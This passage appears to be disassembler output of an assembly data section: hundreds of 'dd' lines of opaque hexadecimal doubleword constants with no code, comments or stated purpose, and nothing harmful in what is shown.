		dd 8BC89814h, 0A3965D91h, 1BB91827h, 0A8E8DA36h, 0D83D6A0Bh
		dd 0E0B5C504h, 95B52D75h, 0FDF4B007h, 922BEC32h, 64F7610Ah
		dd 2018AAA3h, 7E89AE8Ah, 92E888FCh, 900D4F49h, 2AD04C13h
		dd 1C861E50h, 80458D99h, 0C868AE71h, 0F010BD33h, 0FC9F85FAh
		dd 51E9D0A4h, 4262590Bh, 19325224h, 3C03E1D0h, 2C0A90FAh
		dd 8451A250h, 24743F50h, 21BD5681h, 0A896C87Ch,	0E1B8E478h
		dd 8C027C2h, 330A6A0Bh,	793EEA8Eh, 0F8D409B8h, 0E6F3E1CCh
		dd 0D07081Ah, 0AC053B45h, 0B242173h, 29F6E7A5h,	97756CA4h
		dd 99736FC2h, 0F48F318Fh, 0F3A6BD83h, 428C19B0h, 96276CD6h
		dd 52E5145Eh, 4E8AA108h, 0E422921Dh, 0A885A535h, 8C88077Ch
		dd 191AAECAh, 9450C068h, 930B91FBh, 1FF45F8Bh, 58D1242Fh
		dd 0BB867A31h, 429CA68Fh, 74514DFBh, 0C7366CABh, 45B4B12Bh
		dd 45F2368h, 0EDEB6426h, 1958010Bh, 747651EDh, 26129823h
		dd 0C4C2D195h, 5C3229ABh, 2C6835C8h, 84CB8259h,	0E90771D0h
		dd 1CB80B90h, 4D4A96E8h, 967ADF68h, 6B164B0Dh, 410CDB9h
		dd 215C801Ch, 100204E2h, 2884417Dh, 4A581868h, 81AF4401h
		dd 77A44419h, 839B1022h, 682B9E04h, 0D9A28214h,	6858E814h
		dd 170AA171h, 65A4FA54h, 0F468250Fh, 0EF02F512h, 0B7E7B70Bh
		dd 90060488h, 0FA20A1D6h, 4C42FD08h, 6471ECCFh,	0E3254530h
		dd 0E8683AFFh, 0E86212C7h, 667A909h, 0A31D1C02h, 630C5BD6h
		dd 44FC20DFh, 1B6178C8h, 27101102h, 492ED626h, 0FBE8CE60h
		dd 322DE885h, 6689BD32h, 8C15931Dh, 1C7E1F75h, 7AA85184h
		dd 8E7D4B0Ch, 0CAC7D04Ch, 82237B24h, 0D7B38B94h, 98807B82h
		dd 84FC5396h, 93B62A27h, 6247C3AEh, 0FA18BA87h,	12FCA522h
		dd 49BA8209h, 0B551C3E6h, 48D60172h, 29DD6D72h,	42BBC310h
		dd 81299948h, 76593209h, 8B7C5640h, 3955999h, 0C892A23h
		dd 90A176DDh, 8D0CC84Ch, 0E3AC046Ah, 24E82CC4h,	0C8C33426h
		dd 50C6DCDh, 9CB7123Bh,	4B7BC64Bh, 664A1089h, 16567320h
		dd 0CE1A59CBh, 6A7510E4h, 0E20E754Dh, 0D42C4B8Eh, 70E38B14h
		dd 0D7391929h, 6365DFAAh
		dd 0E562481Bh, 991FA38Bh, 0E08486B9h, 28F964F7h, 6DB4A08h
		dd 49DD984h, 5937E846h,	0B82B2B55h, 640433Ah, 70352AD8h
		dd 0A1BDECC6h, 0DDC45123h, 0E824141Ch, 0FCB1280Fh, 0B4DB09F9h
		dd 78221529h, 34486884h, 0B4AEF17Ch, 0B7AE2008h, 0AE4AE322h
		dd 32E23812h, 0ACB1D148h, 0D640D76h, 0A489B3D6h, 0A1C088Ah
		dd 0EF02CC88h, 7342F7C8h, 627B164Ah, 18415486h,	0FA28A49h
		dd 325CF608h, 0BF211E6Fh, 0F6FB84FFh, 9B177522h, 100E112Bh
		dd 11E814F6h, 0EB297132h, 9D2C2D33h, 10F74142h,	1E52755Ch
		dd 45C24A13h, 21319C42h, 0A2A049E0h, 7586A04Ah,	92104933h
		dd 0C60A8D2Ah, 40F04546h, 4BADAB38h, 7240E244h,	0B2026A04h
		dd 401144Ch, 0F9EC1322h, 29100534h, 58446228h, 266951DEh
		dd 0F71C8817h, 0C275B188h, 58520335h, 0F544B4B2h, 13882E68h
		dd 0E8834CFBh, 41E22337h, 5DA0C01Ch, 0A99DFA4Dh, 0D1E88723h
		dd 6C190B24h, 0DAE64D04h, 5C55311Ah, 6CB1E01Ch,	0E283780Dh
		dd 597D294Ah, 148FA149h, 6E0C9AD0h, 0F6042262h,	422A7F38h
		dd 8E1B4144h, 0CF099F45h, 84142E90h, 80994937h,	8B090E08h
		dd 8FF8992Ah, 0C82444D1h, 0EAFAC813h, 6468E23Fh, 0C208599h
		dd 64B15E7Bh, 0CF3A1123h, 15A129D4h, 0FA412544h, 3D8E4ACCh
		dd 0C9C84843h, 60681860h, 0B910D1EAh, 9925FAC4h, 9F9E50Ah
		dd 7445B4FFh, 82092409h, 97BB2B2Ah, 0CAD8A45h, 29539531h
		dd 743184EAh, 193EED67h, 8B770C64h, 4CAC7599h, 107F2095h
		dd 0DE88F845h, 0FB4C026Bh, 0A10C1147h, 19256051h, 0F00201A8h
		dd 84480818h, 0F421CBB2h, 9D0C35F5h, 2CFCFF47h,	0E72D06Ah
		dd 1A683243h, 0D79F4EAFh, 0C227352Fh, 8DBC27A0h, 82F46814h
		dd 1859E285h, 96DAE910h, 0B3541402h, 0F71C0835h, 5D08DE59h
		dd 0A94DE888h, 640D39AEh, 0DFB4023h, 0F821F4FBh, 0F03F1AF5h
		dd 8ED7642h, 1411F9ECh,	420C0847h, 1DAB7DF6h, 232856B4h
		dd 7A0AF9ECh, 88284652h, 0B5D06EE4h, 0CE1B239Dh, 8BE7B021h
		dd 0D223BBDBh, 2ECB23F9h, 0F7142184h, 2346B411h, 27E184B4h
		dd 72437D38h, 9D04EB1Ch, 73C817CAh, 0C928331h, 12193D71h
		dd 1906100Ch, 81061440h, 228B3918h, 0AFF5AF5h, 27507EC8h
		dd 2E73F763h, 8176229Ah, 648BFFD5h, 1C30D540h, 418C5EE8h
		dd 3233CEF4h, 0B5414031h, 13156429h, 8E45E6E8h,	9C3264B0h
		dd 0E3216A44h, 8D88FAAh, 0E1DB4901h, 20171015h,	70C14725h
		dd 5144486h, 9388294Ah,	2A19A4A8h, 899F066Ah, 92080216h
		dd 0C123DC8Ch, 8889F44Dh, 682B8D2Fh, 13977A3h, 67673388h
		dd 0C30C4CA9h, 7C681007h, 0C4B7A9DCh, 9C441E38h, 322A396Fh
		dd 18440662h, 90422B95h, 4F1DE854h, 61796845h, 1290C6ADh
		dd 4446FBF8h, 0C6D18B43h, 6844DC85h, 8885A08Bh,	119020C2h
		dd 209181F3h, 0A5FE3804h, 0C15F095Ah, 0F6392A54h, 27FBEC84h
		dd 78BD06Eh, 3569222h, 0A41A7EAAh, 5D8310FDh, 0FBFC8450h
		dd 4AC6E845h, 0C40F1472h, 0F4594E49h, 0B5D4DC0Eh, 2C3D4844h
		dd 6D684B2Ch, 1FC83CA1h, 992D1962h, 0DA0DE077h,	1336C212h
		dd 13E62909h, 2C3D8B26h, 22CA1EB1h, 29644883h, 3F648141h
		dd 0F0742256h, 91D03EAEh, 0E408C835h, 228B4A95h, 2B21564Ah
		dd 44D8680Ah, 3143AA5Bh, 10DA0DF4h, 8B540E74h, 2EA93B0Fh
		dd 0B6525876h, 43222B46h, 0E4A58311h, 86F08B6Eh, 0D0A3C068h
		dd 0E81A344Ch, 2D6A0A5h, 5150F865h, 75011506h, 9EE42BD3h
		dd 4C316A65h, 7D1101F7h, 2CE69424h, 72028222h, 0FADB010h
		dd 323DE0B7h, 743A5A4Dh, 1C3832B1h, 204186C5h, 0B92C1D2Bh
		dd 2C358DA8h, 42380889h, 82B3F43h, 7E431B4h, 442B9472h
		dd 0ED258020h, 0F3EEAC42h, 94B6FE0Dh, 112AD623h, 1C266863h
		dd 8D1C8B23h, 2B432A64h, 0E0DA22C1h, 515BC8F0h,	19B5EB0Ah
		dd 9D93E80Dh, 273ABF54h, 4AE42C65h, 0A0088910h,	292840B3h
		dd 17A2B483h, 3A602029h, 218F5829h, 9857907Fh, 59E958B6h
		dd 3149E9E3h, 1E2AC5A9h, 6457288Ah, 12C23D01h, 2966FB2Bh
		dd 3B84DF89h, 46E0D922h, 29E442E0h, 0CB88361Ch,	29CA7041h
		dd 5A14DDBBh, 0E00C991Ch, 289D1214h, 41579A35h,	45E343F9h
		dd 5CE71D4Dh, 54A61DE8h, 76C87743h, 60A7E148h, 82FEEE23h
		dd 0C6CA8C66h, 0D85A075Dh, 570840FAh, 38AF682Fh, 84F9C4FBh
		dd 62410221h, 0C81940F1h, 24C4D638h, 41B850F8h,	9260C614h
		dd 0C788FD78h, 97747785h, 0F93481B8h, 432EA089h, 7C85884Eh
		dd 1F6A2D15h, 0BD8D0CD3h, 39F3177Dh, 0AA2966ABh, 0F944881Bh
		dd 3BEE4559h, 31387A21h, 4AFACCC6h, 908B296Ah, 0CC8C87A5h
		dd 0FBD04298h, 86AA5210h, 68076A1Dh, 9B712D74h,	8D767DE8h
		dd 0F398F48h, 0A19F94F4h, 0F3CF444Ah, 46602562h, 146664C3h
		dd 0F8834364h, 9A25DA20h, 8C663923h, 0A9EC100Fh, 23EB1082h
		dd 2539419Ah, 0C7230F5Ch, 0F9E86F28h, 9B6BDD88h, 6CD08CFh
		dd 0AC3B43Ah, 5AA19C2Ch, 4032233Fh, 78A8B3EDh, 0FCFF0DF1h
		dd 4061324h, 941B847Ch,	0A41A2541h, 8F1C895h, 0FDCBA33Ah
		dd 0E1DEC5ACh, 0E19D91EFh, 3683020h, 69523619h,	184B198Fh
		dd 752F9C98h, 43E5752h,	2B05A480h, 0A62C6B98h, 15ED389Eh
		dd 33CAC758h, 2614B38h,	503F5CC8h, 58B014A7h, 83013ED1h
		dd 38920F8Dh, 0D7E983D1h, 700A4305h, 3B7C30A0h,	394119A7h
		dd 4C1A227Fh, 8A0640BEh, 88771EA4h, 499C0D52h, 0B37937B1h
		dd 39A4B65Fh, 0EDA48ACBh, 47903C54h, 40751D42h,	3835BDD3h
		dd 50685481h, 65D442A1h, 74A83529h, 143662BBh, 0A34BDB9h
		dd 6A0D0633h, 4B4868A9h, 6436215Ah, 87443866h, 0C43DCF88h
		dd 43BA68CEh, 8A02883Dh, 88323868h, 9D44FD7Ch, 44133234h
		dd 318A30A4h, 57A286E9h, 0CF3043DAh, 3DA270B6h,	0C42C431Ch
		dd 292F3D4Fh, 3E4803Ah,	0CB2FEB44h, 898770AFh, 8E5BA718h
		dd 2E62AF24h, 41E3069h,	0F7C2AA99h, 0AA67153Ch,	2FD5C08h
		dd 4217BA8Eh, 5162A60h,	0D884FC0Ah, 973D0670h, 0DF823B1h
		dd 257421DAh, 800F518Bh, 6D8D2A20h, 48400E08h, 81A12550h
		dd 0DACA384Bh, 0A5A01638h, 1B661453h, 0C99D2C92h, 2D420D93h
		dd 434B123Ch, 68B045C5h, 81853CF8h, 78103C46h, 0BE3296FDh
		dd 82A4775h, 0EE7084CCh, 40B8DA5h, 6D265168h, 0A670A35Eh
		dd 289B4627h, 84543BBFh, 1CCA8216h, 11FEE1A9h, 761E57A1h
		dd 0EEC40FC4h, 0A547F928h, 0FCB4683Ch, 5275858Ch, 4A516253h
		dd 0B22E297Eh, 923C7B08h, 9DC1CE44h, 4B2CD031h,	5A245559h
		dd 68982510h, 0CF24C40Dh, 44F174C6h, 0D485025Ch, 6185C87Dh
		dd 1B457503h, 4E8311F5h, 44491C21h, 743D903Bh, 992F8359h
		dd 9F98466Ah, 0F8142802h, 4184240Fh, 5A2F2D0Ch,	21109185h
		dd 0C0A14B4h, 8B4F9292h, 50890AA5h, 6409633h, 1988A68Bh
		dd 2A0AE8C1h, 730A1508h, 0DF0A2B0Ch, 0E3250DADh, 3344EC04h
		dd 0F928213Ah, 0F751FC08h, 4B33C224h, 230BCE1Ah, 283EA5F8h
		dd 0C2846C21h, 1C11A3C4h, 3359A752h, 969D5DD6h,	7FEB2928h
		dd 0B7562C1h, 6964E39Ch, 3A9D5D17h, 966A4C20h, 327C5AAFh
		dd 26D15ED2h, 506682Fh,	28127620h, 0E816053Fh, 0E64A3F56h
		dd 43549923h, 692BC844h, 4C5BC142h, 252C14E5h, 0E8938C06h
		dd 0DB651C8Bh, 0FA8C88B7h, 10058794h, 5F25FE58h, 14136D45h
		dd 0B822E6F6h, 0E841359Ch, 527C38CBh, 0D039EC88h, 6A889F19h
		dd 0E87AE408h, 9D04EC61h
		dd 0D2662110h, 8041AE9Ch, 1AF70564h, 0F6862064h, 1CBF1625h
		dd 9C916F36h, 8023B706h, 0F6046892h, 0F2ECE5CAh, 4770758Dh
		dd 5EC058Fh, 1676F208h,	16A2476Ah, 2C228DBh, 832C6710h
		dd 43249E47h, 2F815844h, 0F7939B85h, 222A32A2h,	0BF34627Eh
		dd 426A5127h, 43680C68h, 695148E8h, 1A187D40h, 0FE21083Dh
		dd 3D871A65h, 0D81E22F6h, 0E77D642Fh, 978D0AAAh, 0BD813048h
		dd 7A5C06A2h, 3277C005h, 46740C28h, 7C03207Ch, 28554680h
		dd 40461805h, 140C1D28h, 0E6FEB46h, 728A8D88h, 93440C63h
		dd 62507644h, 29742294h, 2F08FD31h, 843DEB2Ah, 34E5BC45h
		dd 88A41390h, 8884902Bh, 88649022h, 88409019h, 88249010h
		dd 0BA149407h, 1FFA0A5h, 0EC7B26B7h, 0B387FEADh, 2F0C203Ch
		dd 42A886FCh, 0C22F0Ah,	1C082A29h, 4400F07h, 0EE72B00Bh
		dd 0B8430C8Ch, 0B479C4C8h, 0E49C210Fh, 87A83CA0h, 0A4F2AC90h
		dd 0FC0CFB1Eh, 129550F6h, 4CF185F5h, 8049985Dh,	0D59622DAh
		dd 51B0449Fh, 82DE1D48h, 9C0B74EBh, 0A66B4BCFh,	0FEF410C5h
		dd 391F34B9h, 1A811AB7h, 0B0536D20h, 0D772092h,	0C93C6830h
		dd 92A196E8h, 0BEB3EF5h, 460D28A8h, 487C8889h, 705C0932h
		dd 38814538h, 750ADB91h, 0DECEB51Eh, 0FA78B891h, 491ACF4Dh
		dd 208189A4h, 0B7FFC883h, 0C9FB1A96h, 8F232F48h, 0BE5E764Eh
		dd 231E457Eh, 15C80209h, 27703F68h, 7234B3C4h, 90BB80Ah
		dd 0C1A8FBE9h, 21BAA41Eh, 21C2BC27h, 8870CF3Ch,	8A8B2D4h
		dd 0EA4A845Fh, 0E8306A40h, 78B13553h, 8173CC90h, 9736110h
		dd 5810822Dh, 8902A9E9h, 0CCF81021h, 355125E8h,	0A2BD69E6h
		dd 5FD04561h, 43101488h, 1A34C766h, 21B8A102h, 1C691427h
		dd 4C4D455Ch, 66873840h, 88D2AACAh, 0E7C7CC0Ah,	0C80A9137h
		dd 0F7500B64h, 0C8320832h, 1EA5B64h, 0CC25C2E1h, 89C5FF1Fh
		dd 212C0848h, 9C4810Ch,	7F0A06D5h, 4C530C81h, 13248D10h
		dd 762097C3h, 41891E2Ch, 0D4654B18h, 9484F7F0h,	9B801684h
		dd 0CA86348Eh, 1322141Eh, 1C7F408h, 20704C9Dh, 63B1723Ch
		dd 0FBB80A40h, 0C4E9802Ah, 0E08839D9h, 0DAE5C93Ah, 161D542Fh
		dd 0FA511174h, 1E826C88h, 288403Ch, 2EE2EB37h, 90E434BAh
		dd 0C06B5D58h, 14DC3064h, 0E4203F55h, 0A57C1FE7h, 2442926h
		dd 340DE8E4h, 0FDF0401Eh, 639F3342h, 36341842h,	0E89EF250h
		dd 0AC17ED86h, 0A8C13B0Fh, 103830Fh, 0A215327h,	0C048D522h
		dd 4509D31h, 3E9E8CDh, 55CBE4BBh, 9DE289BAh, 44C70F38h
		dd 0F28A22F9h, 64AC13BCh, 89BC3870h, 91014954h,	0AC13B8F2h
		dd 0B8287264h, 61380C25h, 214EE310h, 59228D35h,	3C91AA6h
		dd 0E989EB55h, 5622180Ah, 414C790h, 0F489B588h,	14F0BA11h
		dd 0E1FB312Dh, 182332CDh, 5EA8041h, 31C7119h, 48179AC8h
		dd 4C4C2018h, 59E91C02h, 0E55394EAh, 0C916847Fh, 0F8E310C2h
		dd 0E3043415h, 0BEF17589h, 4609740Ch, 0E0242C20h, 100BA6CCh
		dd 44B8E726h, 3534AFCCh, 6ADE41BCh, 0BF0F2C06h,	745EA6D9h
		dd 5600A045h, 9297840Fh, 0E42D842Ch, 46046470h,	0CC84591Ch
		dd 46BD8311h, 859F006h,	70E909C3h, 3D057B02h, 9516B5A8h
		dd 40F67EB8h, 946870B6h, 2E0133Bh, 42E98091h, 1F91854Dh
		dd 6E782E04h, 4A5D52BCh, 20BC7859h, 253C3A0Dh, 242AC80Bh
		dd 0D90FE989h, 4564E1Dh, 493189C4h, 14198240h, 47BA8476h
		dd 0E610EE39h, 8C8AAE01h, 118C852Eh, 0C6E9876Ah, 1E4820Ah
		dd 9038DF10h, 78818442h, 2B7F1CA4h, 0AC910C74h,	69759C80h
		dd 6E21DCA1h, 0E33CEE01h, 841A4571h, 0EB313FC9h, 0A2115828h
		dd 936F46ADh, 4918DA32h, 3A3CD5A1h, 4F275889h, 0F60A7461h
		dd 26B346A0h, 2167D66h,	0B70F5970h, 8CA0C5C0h, 936BBD34h
		dd 0A643C48Ch, 0F21C425Fh, 6B2828A0h, 12510A52h, 6DEBC42Bh
		dd 10963891h, 0E8257D91h, 68431338h, 9A68BA68h,	4D767D28h
		dd 0BAD7707Ah, 8B582ADEh, 0D216A814h, 4271AC2Fh, 32EBA112h
		dd 6F012659h, 0E63D2FA3h, 0A79A13D6h, 0FB824F56h, 0E217A98Ch
		dd 0D9474168h, 0C297453Ah, 5C5DA21Ch, 4BF748DEh, 857E73D2h
		dd 73A75D20h, 0A0681803h, 0C9254189h, 538C8B54h, 681385A5h
		dd 75140F78h, 11582ED9h, 0B53C10A3h, 27D26838h,	82C25D7h
		dd 688AAB54h, 0C7BF2B58h, 4C141821h, 111CF213h,	20211B40h
		dd 24B23411h, 286CAC13h, 0C8144684h, 0B2114E2Ch, 88EA1330h
		dd 23344234h, 223864D0h, 0C33A12C8h, 4C61AFD6h,	2757B468h
		dd 223CE4E8h, 42139EA0h, 64882340h, 0D9982744h,	0A5640848h
		dd 11FC9260h, 8E782119h, 4C295442h, 88B0EE13h, 115CD93Ch
		dd 2C453D83h, 547974B9h, 81090958h, 1475085Ch, 1B05C71Eh
		dd 1A358816h, 1C0214A4h, 0A8838BAh, 3BBD0C1Dh, 30536814h
		dd 0E0F0CA80h, 8ACAC839h, 47BF6018h, 68295022h,	0E864270Ch
		dd 270150A1h, 0FA0987ECh, 0E2144C39h, 28B80C6Bh, 19E8F012h
		dd 6C012DC0h, 5EDC3FADh, 13EE4250h, 0C4E22D3Eh,	3EC5BD9Eh
		dd 1A544C4Ah, 0F1088E8Bh, 0A14C9F39h, 93FD0C34h, 11F1508Fh
		dd 8F885919h, 8B9530A1h, 39045E51h, 5A2289C4h, 96CD44A2h
		dd 592739F9h, 44B59442h, 0A299958h, 42481157h, 0D37C5834h
		dd 0AA482CF0h, 20EE4163h, 200EABA1h, 0EB021396h, 10280AC3h
		dd 0F0223865h, 424888C8h, 30D51513h, 84EDD8CEh,	1B11DAEDh
		dd 42EE0949h, 0E82D1971h, 0D1502CC9h, 2910F883h, 8D381176h
		dd 61F9148Ch, 0F4B81BCh, 0EE9805BEh, 1096066Ch,	6662090Eh
		dd 1711EDDCh, 30FB3009h, 0A1EE87C8h, 240EB217h,	274ECF98h
		dd 8AD64C9Dh, 0E8392116h, 32472BE5h, 0F651B0C5h, 4E088878h
		dd 15D03C35h, 4228F38Ah, 231C8214h, 0E212BE0h, 408FA210h
		dd 0CE1EA15h, 0E0C0D14h, 0C01352CCh, 0AB0EAE2Eh, 0C22BE4Dh
		dd 852594AEh, 49ACDB57h, 32703BDCh, 2C0DE102h, 18137DE4h
		dd 465418Ah, 0DE5BB9ACh, 0E20621E5h, 9C5D3A2Bh,	0A24C855h
		dd 171F2A0Eh, 408A632h,	0D337BB14h, 0AF06C568h,	4D8D4A17h
		dd 896721B8h, 9989F568h, 0E5046F53h, 2C443DF3h,	19142255h
		dd 0DFC92F51h, 76019B00h, 0B746A120h, 13BD7C2h,	0C401D2Dh
		dd 710CE104h, 4A10DD48h, 65C1DAEBh, 0B626080Eh,	0E8C1C07Bh
		dd 811DC510h, 3E9FF9E1h, 1454E803h, 0F7223052h,	7ACE97D0h
		dd 0CE00C56h, 0D4E7402h, 8926EC03h, 33F06804h, 8624AB64h
		dd 0FE6825DBh, 0E8014FA0h, 9095C2DBh, 68084D1Ah, 0BC83870Bh
		dd 1FE48014h, 0C118BCE2h, 220852E0h, 0B98025CAh, 98C824D2h
		dd 0A17910E4h, 7464244Ah, 861E1872h, 0B51598ABh, 5A4B17CBh
		dd 4BE82C61h, 56BC2954h, 5D8A9E4Dh, 68048224h, 185F8A48h
		dd 9F2A2795h, 6E05FF39h, 3753B84Ch, 0C478E40h, 0AEB9388Eh
		dd 0F11B4C34h, 1DCE2946h, 6A8803ABh, 78D6641Bh,	0F831B702h
		dd 0B4DDC651h, 63EA822h, 13318175h, 0F11C4E03h,	22619410h
		dd 0BF43223Fh, 54B23B95h, 44D8707h, 0BC9EC076h,	8D18C3F1h
		dd 0BD64A40h, 4466EB97h, 4B280C36h, 63548D04h, 57E42E8h
		dd 0BB86855h, 419A9BB8h, 0EFF8C1h, 0BD0E31E8h, 0F4455E18h
		dd 0DDF0DCCFh, 5167095Ah, 0D0C19E1h, 7806D9FFh,	2DC7C844h
		dd 5F3E932h, 0F42784A5h, 2D10BC82h, 82B0FE2Ah, 0E24A643Dh
		dd 0E8208242h, 9C68766Dh, 0B51D7768h, 17CDC986h, 3F1CEA90h
		dd 690E782Ah, 7FF434A1h, 20EE51C4h, 15FF17FFh, 5F15185Fh
		dd 2F279F05h, 62E82281h
		dd 8071C610h, 0A5950F11h, 0D3B4A8E2h, 8A05A9B5h, 0EC14C379h
		dd 0FE1C15E3h, 3919D8EFh, 96EFAC03h, 0A32448A1h, 1F0294EEh
		dd 905C497Bh, 0AE0D4E50h, 0C0F852EEh, 3EEE062Bh, 0DDA0F40h
		dd 88E83AF7h, 0EEA3F758h, 9468C326h, 0CED2F847h, 0FCEE9B0Fh
		dd 68202167h, 0B6A5B31Ch, 3DF408E4h, 0BA20127h,	4BC1F330h
		dd 0A207D068h, 2110D677h, 0CCC8A21h, 0D16EC877h, 8B790AE0h
		dd 8D606CECh, 0B265112h, 940F3B88h, 88DC49E9h, 4667E40h
		dd 9A119580h, 24241414h, 107F1848h, 4137B540h, 0C9815108h
		dd 0CC216F84h, 0FC04FF7Ch, 42BDDED2h, 0A9F4453Eh, 83124032h
		dd 643A988Ah, 4B64BE29h, 35DD67FEh, 552B1AB5h, 9D47965Dh
		dd 5B23896Dh, 0A21F10F1h, 0B781988h, 66B6AD7Ah,	89552D2Eh
		dd 5BF5327Bh, 0D1167F1Ah, 29D058BCh, 0F1608586h, 70A21A10h
		dd 88DB3D15h, 0FB4FF8DEh, 5644F3B6h, 73EAA654h,	0E5816B0Fh
		dd 4D95B046h, 0FD60928Eh, 0F1FCA2CBh, 70256F8Ah, 18096210h
		dd 750B3145h, 1F69E521h, 0CA151602h, 0E80C04E7h, 0B02324A5h
		dd 491FEBA9h, 1CAA0221h, 97EB6790h, 25BCB5FAh, 19A41545h
		dd 4561B132h, 0A8E4163Ch, 2C4C7A1h, 6CDE100Eh, 0BF0CEF7h
		dd 210868F8h, 245EE894h, 0D4208F73h, 2DCC2BE7h,	0AD139776h
		dd 620202Ah, 0CDD4A05Fh, 626EB91Fh, 0C81D844h, 0E00D2454h
		dd 1BB5FC10h, 5AFEFA69h, 0F8DC4088h, 0BCE00CCCh, 2E0545D8h
		dd 552D8250h, 1A6CA918h, 89EC7444h, 0F7E8D406h,	0C9C8DB23h
		dd 0FBD06412h, 10099F4Fh, 2B37C745h, 0D6840F09h, 0EA8BCD9h
		dd 8060C54h, 52045C86h,	730ECCA2h, 4BCAE9D3h, 0BFEC82Fh
		dd 174B09A4h, 12B6A908h, 274CB30Ch, 9F524C1Dh, 502D30AFh
		dd 9B2D280Ch, 15743D6Eh, 445E8CE8h, 0A4183210h,	12DC0815h
		dd 0E81DC20Eh, 377A0BB9h, 6882677Eh, 157501D4h,	24326A1Eh
		dd 95446823h, 232A4332h, 4DA2E6B9h, 0CC55020Ah,	4815489h
		dd 21400FA6h, 17C401FAh, 48BF3881h, 506754Dh, 0C95917E9h
		dd 9F33D074h, 0FC833720h, 812910Dh, 8D6922E5h, 0F6362B1Fh
		dd 0E8B4CC4Eh, 4E73C5Eh, 0FD661755h, 4C2A5E24h,	31408DBh
		dd 30593D01h, 0E8FC8376h, 86047013h, 0C11E4054h, 504F0090h
		dd 64FC9764h, 448D5CD8h, 0FC92815Ah, 0C80B7622h, 86FC9B15h
		dd 2A53541h, 82926341h,	0C827DD47h, 0D3C75660h,	833B2086h
		dd 0FE8A74A5h, 613E4F24h, 65F4D3BBh, 90F8D88h, 0F809173Bh
		dd 0CACA1B10h, 52276405h, 0B56E2750h, 0E8E831DEh, 322C31EEh
		dd 0D4843C13h, 3C85644Ah, 3C8577C6h, 408828C2h,	1E7A7329h
		dd 95958337h, 52C14A53h, 7F78184h, 96443B37h, 0A56D504h
		dd 0A2A8030h, 8A293948h, 5B312F73h, 969470CCh, 0DE89890Ch
		dd 786F38A8h, 41A5BFEBh, 8114FF21h, 689D540Ah, 9829648Ah
		dd 0BA555CBEh, 0DD50FCC5h, 50D01BEFh, 7141FCBCh, 982E94A0h
		dd 0D123EDD6h, 0E9E27864h, 0EC14457Bh, 7BE10286h, 0B308F6DCh
		dd 5E41A938h, 6027A954h, 77C63C85h, 1EC83C85h, 3D5623E3h
		dd 4AAFF51Eh, 0D834BF90h, 23C53F75h, 8C34B881h,	30739E45h
		dd 5435432Bh, 4A2D2978h, 6A40211Eh, 455CC417h, 933039E9h
		dd 5FD2330Ch, 0F7A145B9h, 6CA50AF1h, 0E669D912h, 95890881h
		dd 4231A870h, 0F4596C42h, 12F61F48h, 15C58295h,	470D5E2Ch
		dd 0C4DB878h, 4728283Ah, 11090141h, 4588E6F2h, 0F2404A37h
		dd 0C2816D0Dh, 0E531226Dh, 3C85580Ch, 3C8577C6h, 0D4A1DFC6h
		dd 31475847h, 0F2819979h, 81916F16h, 0DD5C105Fh, 0F0E68A3h
		dd 0D5AD08EBh, 5E4C521Bh, 0FC6B3EF9h, 0F44C73B2h, 733250F8h
		dd 9199255Eh, 0BE305F3Fh, 0C3643816h, 4952127Bh, 0F8B98935h
		dd 0EB5913D9h, 69C439CAh, 1E3F11B4h, 811F5542h,	6B7DEE7Dh
		dd 682A9210h, 0E8E6A39Fh, 0AA3D591Bh, 895032B4h, 60431054h
		dd 0F6F78404h, 2E6C2D49h, 4174006h, 0FE26013Bh,	64C2EB0h
		dd 1A2FC5BDh, 1D062E1Ah, 543E6E55h, 7210D281h, 419D23DFh
		dd 6AA437EBh, 950F7230h, 5DC9FBC2h, 0C88E04Eh, 73044840h
		dd 377EAB63h, 0FA8E441Ch, 52750AC6h, 7265CF1Ah,	3D575E0Dh
		dd 64A47F43h, 0B35A2B6Bh, 2C2D5C35h, 4F0B1029h,	4AA1E8FEh
		dd 1037641Dh, 0EC9D382Bh, 74DBBE68h, 71289C1h, 2FAA38E2h
		dd 355F0C42h, 1665FFE1h, 95AA7537h, 8E15A8A4h, 0BBEC211Ch
		dd 0D41BEA45h, 110C79C2h, 452BA41Dh, 6CF85542h,	2C104673h
		dd 0CE65D60Ch, 58752B38h, 0E1DED339h, 3A3C2A45h, 4B66D254h
		dd 0CD141079h, 857A0BFBh, 31927790h, 7EF06544h,	12F4900Bh
		dd 0A67BD4B4h, 240CC4A9h, 0A84CD6E2h, 68C4295Bh, 176F9EE1h
		dd 0E85E164Fh, 42ACA5B6h, 6E95FC89h, 34578E2Ah,	0B7654856h
		dd 1ED3E8E1h, 687A9A62h, 679F5D16h, 4A1D3A41h, 0C9BA4DB4h
		dd 9BAA44BAh, 1DA999C2h, 9274B4Bh, 42100028h, 5E0C6483h
		dd 6551D2D1h, 149A7D75h, 0A2768853h, 9532895h, 11B6806h
		dd 0CB5D4978h, 0E4E62C89h, 4970DC40h, 10C9F41Bh, 9414EE6h
		dd 0EB1317E1h, 11348ADh, 0EAE302E5h, 9D402F9Ah,	0C04085C9h
		dd 894109C1h, 0FEEAE44Dh, 0C8624B09h, 74C51DD1h, 9E91D6C8h
		dd 0F2D844DFh, 6F74B1FAh, 0D4ACF63Dh, 0CE229C83h, 0E8FA6DDAh
		dd 0A9F3BC27h, 90C7CD1Bh, 71F411D4h, 77591B8Bh,	27333D84h
		dd 0D8B09213h, 0EB427679h, 0D73F8416h, 577BE2BDh, 332F1982h
		dd 33444EB9h, 99141237h, 823FCF8Dh, 857CCC5h, 0EE5A11BAh
		dd 2FD06AE0h, 1A42582Eh, 0D4F45685h, 0A831A3D5h, 15024503h
		dd 0F12EA222h, 0C61B01D7h, 286DC485h, 0A406BD83h, 0B512FD3Eh
		dd 7BE80D81h, 0B44122F2h, 99441955h, 40DC870h, 5392F806h
		dd 0A5E1D64Eh, 28839774h, 0C81BD8A5h, 4B49C00Eh, 6898CF53h
		dd 1F0D2107h, 2923283Bh, 260E1973h, 0DCAA3FD1h,	33C44515h
		dd 27CC29D3h, 812C75C0h, 6452AABDh, 332053D0h, 2A2C8D28h
		dd 0CA398C89h, 4E61D826h, 82C64CF1h, 468D8375h,	0F879959Dh
		dd 0B3991520h, 0B6B083E5h, 0B8D2FF26h, 84F190EBh, 0B7D41ACFh
		dd 0A68B1DDCh, 55E4B786h, 0ABCC281h, 0DEF8C79h,	5E681CF6h
		dd 5656C21Dh, 48159147h, 73141C39h, 8DCA2429h, 0D58C9D06h
		dd 2CA4BAE0h, 0C853EB59h, 54C94638h, 93BB8707h,	0B0477411h
		dd 495E3A38h, 0C862165Bh, 0A393B434h, 1E91D6A0h, 7FE655B8h
		dd 2968688Eh, 0E8CA260Dh, 4B309122h, 506C919Dh,	6BA75748h
